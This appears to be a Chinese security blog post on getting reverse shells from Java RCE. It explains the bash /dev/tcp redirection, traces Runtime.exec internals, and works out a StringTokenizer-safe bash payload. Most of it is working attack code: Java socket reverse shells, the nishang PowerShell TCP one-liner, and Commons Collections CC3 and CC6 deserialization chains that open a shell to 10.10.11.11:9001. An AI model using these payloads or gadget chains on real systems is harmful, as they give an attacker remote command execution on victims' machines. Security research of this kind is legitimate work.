javaRveShell基础
javaRveShell
前言
一直研究 java RCE,证明的方法总是执行 calc 在本地机器上弹出计算器,就缺乏了对于各种 RCE 漏洞利用的研究,写篇文章记录一下 java 各种反弹 shell 的操作。
linux 反弹命令解析
bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
& 符号作用
没有 & 时,< 或 > 后面跟的是一个 文件名。
1> out.txt : 将 stdout 输出到名为 out.txt 的文件。
当有 & 时,< 或 > 后面跟的是一个 文件描述符。
>&m的意思是“...到文件描述符 m 所指向的文件”。
<&m的意思是“...从文件描述符 m 所指向的文件”。
命令解读
对这条命令的完整解读,他的完整版本是
bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1
linux 从左向右处理这条命令
bash -i 启动一个新的交互 shell
> : 是 1> 的简写,把标准输出重定向到 /dev/tcp/10.10.11.11/9001 这台伪设备,此时状态
fd 1 (stdout)->网络连接 (TCP Socket)fd 2 (stderr)->屏幕(尚未改变)fd 0 (stdin)->键盘(尚未改变)
2>&1 : 这得益于 & 符号的作用,它把重定向的目标改为了 文件描述符 , 实际效果就是 把错误 (stderr) 重定向到 1 文件描述符所指向的地方,在第一步 > 中, 1 这个标准输出描述符已经指向了 /dev/tcp/10.10.11.11/9001 伪设备,所以到这里的状态
fd 1 (stdout)->网络连接 (TCP Socket)fd 2 (stderr)->网络连接 (TCP Socket)(与 fd 1 指向同一个地方)fd 0 (stdin)->键盘(尚未改变)
0>&1 : 与上边讲的一样,把输入重定向到了 1 文件描述符所指向的位置 , 最终状态
fd 1 (stdout)->网络连接 (TCP Socket)fd 2 (stderr)->网络连接 (TCP Socket)(与 fd 1 指向同一个地方)fd 0 (stdin)->网络连接 (TCP Socket)(与 fd 1 指向同一个地方)
由此,我们就把 bash -i 新开起的交互 shell 的所有输入 (stdin) 和输出(stdout, stderr) 全部交给了 tcp伪设备 , 也就实现了反弹 shell
>&合并输出重定向 :包含了 标准输出(stdout)和错误输出(stderr)
<&读写重定向 :包含标准输出(stdout) 和 标准输入(stdin)
补充知识点
0>&1 与 0<&1 作用是完全相同的,是不是看到这个很困惑,我来解释一下
0>&1 : 这个好理解,我们上边讲过了,将文件描述符 0(stdin)的输出,重定向到文件描述符 1(stdout)当前所指向的同一个地方,最终 0 和 1 的文件描述符指向同一文件或管道
0<&1 : 让文件描述符 0(stdin) 从 文件描述符 1(stdout)当前所指向的同一个地方 读取输入, 最终 0 和 1 的文件描述符指向同一文件或管道
两者的结果是相同的
我们的反弹 shell 语句的等价语句
bash -i >& /dev/tcp/10.10.11.11/9001 0<&1
Runtime.exec()
windows 平台
在 Runtime 中 exec() 有 6 个重载方法

public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
看的出来无论我们传入的是字符串 String 还是 字符数组 String[] 最终调用都是 public Process exec(String[] cmdarray, String[] envp, File dir) 方法,由他再去调用 ProcessBuilder() 方法
我们先来简单调试一下 exec(),看他是如何运行的
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
public class ExecTest {
public static void main(String[] args) throws IOException {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig /all").getInputStream();
byte[] bytes = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(bytes)) != -1) {
System.out.print(new String(bytes, 0, bytesRead, "GBK"));
}
}
}

步入,来到 java.lang.Runtime#exec(java.lang.String)

方法重载来到 java.lang.Runtime#exec(java.lang.String, java.lang.String [], java.io.File) 方法

利用 java.util.StringTokenizer 这个类处理字符串,按照 \t\n\r\f 进行分割 也就是(空格 \t \n \r \f)分割

所以 ifconfig /all 命令会 java.util.StringTokenizer#nextTokens 被分割为 ifconfig /all 两个 token
public String nextToken() {
/*
* If next position already computed in hasMoreElements() and
* delimiters have changed between the computation and this invocation,
* then use the computed value.
*/
currentPosition = (newPosition >= 0 && !delimsChanged) ?
newPosition : skipDelimiters(currentPosition);
/* Reset these anyway */
delimsChanged = false;
newPosition = -1;
if (currentPosition >= maxPosition)
throw new NoSuchElementException();
int start = currentPosition;
currentPosition = scanToken(currentPosition);
return str.substring(start, currentPosition);
}
封装为数组,并传递给 java.lang.Runtime#exec(java.lang.String [], java.lang.String [], java.io.File)

创建 ProcessBuilder 对象,最后 start()

在 start() 方法中,把 cmdarray [0] 赋值给了 prog

然后调用 java.lang.ProcessImpl#start 方法

在 start() 静态方法中处理了 environment 等变量,最后调用了 ProcessImpl 的构造方法

调用 java.lang.ProcessImpl#createCommandLine 把数组变为命令字符串

最后调用 natvie creat 创建进程,执行命令,并返回句柄


native 源码:Java_java_lang_ProcessImpl_create
Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
jstring cmd,
jstring envBlock,
jstring dir,
jlongArray stdHandles,
jboolean redirectErrorStream)
{
jlong ret = 0;
if (cmd != NULL && stdHandles != NULL) {
const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);
if (pcmd != NULL) {
const jchar *penvBlock = (envBlock != NULL)
? (*env)->GetStringChars(env, envBlock, NULL)
: NULL;
if (!(*env)->ExceptionCheck(env)) {
const jchar *pdir = (dir != NULL)
? (*env)->GetStringChars(env, dir, NULL)
: NULL;
if (!(*env)->ExceptionCheck(env)) {
jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);
if (handles != NULL) {
ret = processCreate(
env,
pcmd,
penvBlock,
pdir,
handles,
redirectErrorStream);
(*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);
}
if (pdir != NULL)
(*env)->ReleaseStringChars(env, dir, pdir);
}
if (penvBlock != NULL)
(*env)->ReleaseStringChars(env, envBlock, penvBlock);
}
(*env)->ReleaseStringChars(env, cmd, pcmd);
}
}
return ret;
}
static jlong processCreate(
JNIEnv *env,
const jchar *pcmd,
const jchar *penvBlock,
const jchar *pdir,
jlong *handles,
jboolean redirectErrorStream)
{
jlong ret = 0L;
STARTUPINFOW si = {sizeof(si)};
/* Handles for which the inheritance flag must be restored. */
HANDLE stdIOE[HANDLE_STORAGE_SIZE] = {
/* Current process standard IOE handles: JDK-7147084 */
INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE,
/* Child process IOE handles: JDK-6921885 */
(HANDLE)handles[0], (HANDLE)handles[1], (HANDLE)handles[2]};
BOOL inherit[HANDLE_STORAGE_SIZE] = {
FALSE, FALSE, FALSE,
FALSE, FALSE, FALSE};
/* These three should not be closed by CloseHandle! */
stdIOE[0] = GetStdHandle(STD_INPUT_HANDLE);
stdIOE[1] = GetStdHandle(STD_OUTPUT_HANDLE);
stdIOE[2] = GetStdHandle(STD_ERROR_HANDLE);
prepareIOEHandleState(stdIOE, inherit);
{
/* Input */
STDHOLDER holderIn = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_READ};
if (initHolder(env, &handles[0], &holderIn, &si.hStdInput)) {
/* Output */
STDHOLDER holderOut = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_WRITE};
if (initHolder(env, &handles[1], &holderOut, &si.hStdOutput)) {
/* Error */
STDHOLDER holderErr = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_WRITE};
BOOL success;
if (redirectErrorStream) {
si.hStdError = si.hStdOutput;
/* Here we set the error stream to [ProcessBuilder.NullInputStream.INSTANCE]
value. That is in accordance with Java Doc for the redirection case.
The Java file for the [ handles[2] ] will be closed in ANY case. It is not
a handle leak. */
handles[2] = JAVA_INVALID_HANDLE_VALUE;
success = TRUE;
} else {
success = initHolder(env, &handles[2], &holderErr, &si.hStdError);
}
if (success) {
PROCESS_INFORMATION pi;
DWORD processFlag = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT;
/* If the standard I/O is inherited, CREATE_NO_WINDOW must not be used. */
if (GetConsoleWindow() != NULL &&
(si.hStdInput == stdIOE[0] ||
si.hStdOutput == stdIOE[1] ||
si.hStdError == (redirectErrorStream ? stdIOE[1] : stdIOE[2])))
{
processFlag &= ~CREATE_NO_WINDOW;
}
si.dwFlags = STARTF_USESTDHANDLES;
if (!CreateProcessW(
NULL, /* executable name */
(LPWSTR)pcmd, /* command line */
NULL, /* process security attribute */
NULL, /* thread security attribute */
TRUE, /* inherits system handles */
processFlag, /* selected based on exe type */
(LPVOID)penvBlock,/* environment block */
(LPCWSTR)pdir, /* change to the new current directory */
&si, /* (in) startup information */
&pi)) /* (out) process information */
{
win32Error(env, L"CreateProcess");
} else {
closeSafely(pi.hThread);
ret = (jlong)pi.hProcess;
}
}
releaseHolder(ret == 0, &holderErr);
releaseHolder(ret == 0, &holderOut);
}
releaseHolder(ret == 0, &holderIn);
}
}
restoreIOEHandleState(stdIOE, inherit);
return ret;
}
在其中调用了 CreateProcessW 函数(processthreadsapi.h) - Win32 apps | Microsoft Learn
CreateProcessW(
NULL, /* executable name */
(LPWSTR)pcmd, /* command line */
NULL, /* process security attribute */
NULL, /* thread security attribute */
TRUE, /* inherits system handles */
processFlag, /* selected based on exe type */
(LPVOID)penvBlock,/* environment block */
(LPCWSTR)pdir, /* change to the new current directory */
&si, /* (in) startup information */
&pi)) /* (out) process information */
到这里 windows 就开始执行我们传入的命令了
返回句柄
handle(1820) 是一个指向 新创建的子进程本身 的句柄,允许父进程管理和控制子进程的生命周期。
stdHandles数组中的句柄 (1832, 1836, 1844) 是与子进程进行 输入/输出通信 的管道/文件句柄。(stdin, stdout, stderr)

也就是在 windows 平台真正执行命令的方法就是 java.lang.ProcessImpl#create 这个 native 方法
调用站
create:593, ProcessImpl (java.lang)
<init>:453, ProcessImpl (java.lang)
start:139, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:621, Runtime (java.lang)
exec:451, Runtime (java.lang)
exec:348, Runtime (java.lang)
main:8, ExecTest (com.lingx5.windows)
做个测试,通过反射拿到 ProcessImpl 拿到他的 Class 文件,利用他的构造方法来执行命令
因为 create 方法,只有构造方法调用了,且 ProcessImpl 这个类只有一个构造方法,所以我们就不能通过无参构造器拿到类后,再执行 create 了
![]()
![]()
package com.lingx5.windows;
import java.lang.reflect.Constructor;
public class createTest {
public static void main(String[] args) throws Exception {
Class<?> aClass = Class.forName("java.lang.ProcessImpl");
System.out.println(aClass);
Constructor<?> constructor = aClass.getDeclaredConstructor(String[].class, String.class,
String.class,
long[].class, boolean.class);
constructor.setAccessible(true);
constructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false);
}
}
通过 ProcessImpl 的构造方法成功执行命令
linux 平台
其实和 window 差不多,最后都是通过 native 方法(linux 是 forkAndExec() 方法),实现命令执行的,详细可以参考:Java 本地命令执行
调用栈
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
windows revShell
java 在 windows 下反弹 shell 比较通用的就是建立 socket 连接来实现 cmd,powershell 进程的 I/O 重定向 ,还有就是命令本身的 I/O 重定向
socket
JavaSocketRevShell
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell {
private void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
} catch (Exception e) {
}
}
public static void main(String[] args) {
try {
new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}
}
成功反弹

弹 cmd 的 shell 的话,要在后面加上 /k 参数
public static void main(String[] args) {
try {
new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe","/k")
} catch (Exception e) {
}
}
也可以反弹回来

powershell 命令
powershell 这个 shell 环境也很强大,可以使用 powershell 脚本,其中具有可以重定向输入输出的命令,详见 nishang 框架 :
nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 at master · samratashok/nishang
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
对应 java 代码
package com.lingx5.windows;
public class ExecRevShell {
public static void main(String[] args) throws Exception {
String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Runtime.getRuntime().exec("powershell.exe "+cmd);
}
}
也是可以成功反弹 shell
当然也可以去看 反弹 shell 生成器 生成的 payload,有的杀软会报毒,注意甄别。
linux revShell
当然 linux 也是可以使用 socket 进行 shell 的反弹的
socket
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell {
private void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
} catch (Exception e) {
}
}
public static void main(String[] args) {
try {
new JavaSocketRevShell().conn("10.10.11.11", 9001, "bash","-i");
} catch (Exception e) {
}
}
}
也可以成功反弹
bash 命令
cmdarray
其实和我们之前讲的如出一辙
bash -c 'bash -i >& /dev/tcp/10.10.11.11/9001 0>&1'
对应的 java 代码
public class ExecRevShell {
public static void main(String[] args) {
try {
String[] cmd = new String[]{
"bash",
"-c",
"bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
};
java.lang.Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里要传入数组,不然在 StringTokenizer 的处理过程中,会把我们的 bash -i >& /dev/tcp/10.10.11.11/9001 0 >&1 按照空格拆分,那显然不是我们想要的
![]()
kali 执行

成功反弹

cmdString
那我们可以基于 bash 和 StringTokenizer 的特性,构造一个可以反弹 shell 的字符串吗?
我们先来看 bash -c 的帮助
执行 man bash 可以看到 -c 的介绍
-c If the -c option is present, then commands are read from the first non-option argument command_string. If there are argu‐ments after the command_string, the first argument is assigned to $0 and any remaining arguments are assigned to the posi‐tional parameters. The assignment to $0 sets the name of the shell, which is used in warning and error messages.
翻译过来就是
如果存在 -c 选项,则从第一个非选项参数 command_string 中读取命令。如果 command_string 之后有参数,则第一个参数被赋值给 $0,其余参数被赋值给位置参数。赋值给 $0 会设置 shell 的名称,该名称用于警告和错误消息中。
例子
简而言之就是 bash -c String1 String2 String3 ... -c 参数后边有多个字符串的话,bash 的处理是将 String1 识别为要执行的字符串,String2 赋值给 $0,String3赋值给$ 1 以此类推。
在 bash 中有一个特殊的变量 $@ 和 $* 它会扩展为所有的位置参数($1, $2, $3, ...)
bash 执行命令的流程
- 词法分析(Parsing): Shell 将你的命令行输入分解成一个个的“词”(tokens)。
- I/O 重定向扫描与处理 (Redirection): 在进行任何变量扩展或命令执行之前,Shell 会从左到右扫描整个命令行,寻找重定向操作符(如
>、<、>&、>>等)。- 变量与参数扩展 (Expansion): Shell 进行变量替换(
$VAR)、参数扩展($@)、命令替换($(command))等。- 命令执行 (Execution): 最后,Shell 执行命令。

看样子 $@ 和 $* 是相同的,但是 "$@" , "$*" 还是有区别的
"$@" : 把 $1 $2 $3 ... 等,转化为单独字符串,就比如上边的 "bash" "-i" ">&" "/dev/tcp/10.10.11.11/9001" "0>&1" 每一个都是单独的字符串
"$*" : 把 $1 $2 $3 ... 等,转化为一整个字符串,就比如把上面的转化为 "bash -i >& /dev/tcp/10.10.11.11/9001 0>&1" 分隔符为 IFS 变量的第一个字节(默认为空格)
看到可以反弹成功

利用这一特性 和 java Runtime#exec 的 StringTokenizer 分词特性,我们可以构造反弹 shell 命令
错误的 payload
讲了这么多,你肯定是想直接这样写 payload
bash -c "$*" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
分词处理
执行验证
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExecRevShell {
public static void main(String[] args) {
try {
Process process = Runtime.getRuntime().exec("bash -c \"$*\" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");
InputStream errorStream = process.getErrorStream();
BufferedReader stdInput = new BufferedReader(new InputStreamReader(errorStream));
String str;
while ((str=stdInput.readLine())!=null){
System.out.println(str);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

很明显 他不能正确执行,看到报错信息他好像是吧 我们想要 -c 执行的命令字符串,当作可执行文件去执行了。为什么会这样呢?
其实也很简单,我们先来了解 bash -c
bash -c 三步模型:解析,扩展/填充,执行
解析:查看命令行中的 特殊意义的字符 重定向:> 填充字段:$1 等
填充:就是识别后边字符串,赋值到 $1 $2 ... 并以普通字符串填充到指定位置
执行:如果是填充的,就会当作普通字符串处理,所以不会解析重定向字符,就反弹不了 shell
看我们的报错信息 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory 这就不难理解了
我们来分析一下这个流程
java 的 StringTokenizer 分词后,识别到 “$*” 会把后续的 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1 赋值给 $1 然后填充到 $* , "$*",带了双引号, 把所有值当成一整个字符串,bash 把 $1 当成命令,后续的 $2... 都识别为命令参数,所以把这个参数当成命令或可执行文件了,没有 $2 ... 所以没有参数,就产生了我们看到的报错 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory
正确的 payload
我们可以给 $* 或者 $@ 后边加上管道符 | 把字符串放入标准输入 stdin 在重定向给 一个新的 bash
bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
java 的 StringTokenizer 分词器会把这个命令分为了 这些词
-
也就是会先传递
bash字符串,开始 bash 会话 -
传递
-c告诉当前 bash 执行后面的字符串 -
传递
$@|bash这是会对 $@ 进行填充,且|管道符不是填充过来的,会被 bash 识别,生效 ,将流传给一个新的 bash -
$@被依次填充为"echo""bash""-i"">&""/dev/tcp/10.10.11.11/9001""0>&1" -
echo 会被识别为 “bash -c” 的命令,后续的都是 echo 命令的参数,所以会输出为反弹没了的字符串
-
最后 通过管道传递给 新的 bash,从而执行命令
可以成功反弹 shell

与反序列化联合
这里举几个有代表性的例子就可以了,基本原理都是相同的,反序列主要分为类加载命令执行和反射命令执行
类加载(CC3/CC4)
关键就是后边的两步
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
javax.xml.transform.Templates#newTransformer
Templates#newTransformer 这个我们在学习 fastjson 的各种反序列化链的时候就非常熟悉了,他有定义类并实现类初始化的能力,也就是可以执行 static 静态代码块


这里就不过多赘述了,直接看利用代码吧
CC3 相关代码
要加载的恶意类 JavaSocketRevShell
package com.lingx5.windows;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell extends AbstractTranslet {
private static void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public static void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
} catch (Exception e) {
}
}
static {
new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意:
这里在 static 通过起一个新线程,从而避免了 JVM 在执行完静态代码以后,把我们的 powershell 管道(socket)资源回收。
new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();
CC3 反序列化链
package com.lingx5.windows;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class ClassLoaderRevShell {
public static byte[] getEvil() throws Exception {
ClassPool ctClass = ClassPool.getDefault();
CtClass evil = ctClass.get("com.lingx5.windows.JavaSocketRevShell");
return evil.toBytecode();
}
public static void setFiled(Object obj, String filedName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(filedName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] evilBytes = getEvil();
TemplatesImpl templates = new TemplatesImpl();
setFiled(templates, "_name", "evil");
setFiled(templates,"_bytecodes", new byte[][]{evilBytes});
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "1");
setFiled(lazyMap, "factory", transformerChain);
lazyMap.remove("lingx5");
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
// 反序列化
InputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
执行

成功反弹

CC4的利用方法也是一样的
命令执行(CC1/CC6)
这里以CC6为例吧,其实很简单了,就是用Runtime的exec执行命令
package com.lingx5.windows;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6RevShell {
public static void setFiled(Object obj, String filedName, Object value) throws Exception{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(filedName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
String ip = "'10.10.11.11'";
int port = 9001;
String cmd =
"powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "1");
setFiled(lazyMap, "factory", chainedTransformer);
lazyMap.remove("lingx5");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
InputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
成功反弹

另外还有fastjson的一些连以及CB链都可以实现,这里就不一一列举了,思路都是一样的
参考文章
Java Runtime.getRuntime().exec 由表及里
Java Runtime.exe() 执行命令与反弹 shell(上) - 简书

浙公网安备 33010602011771号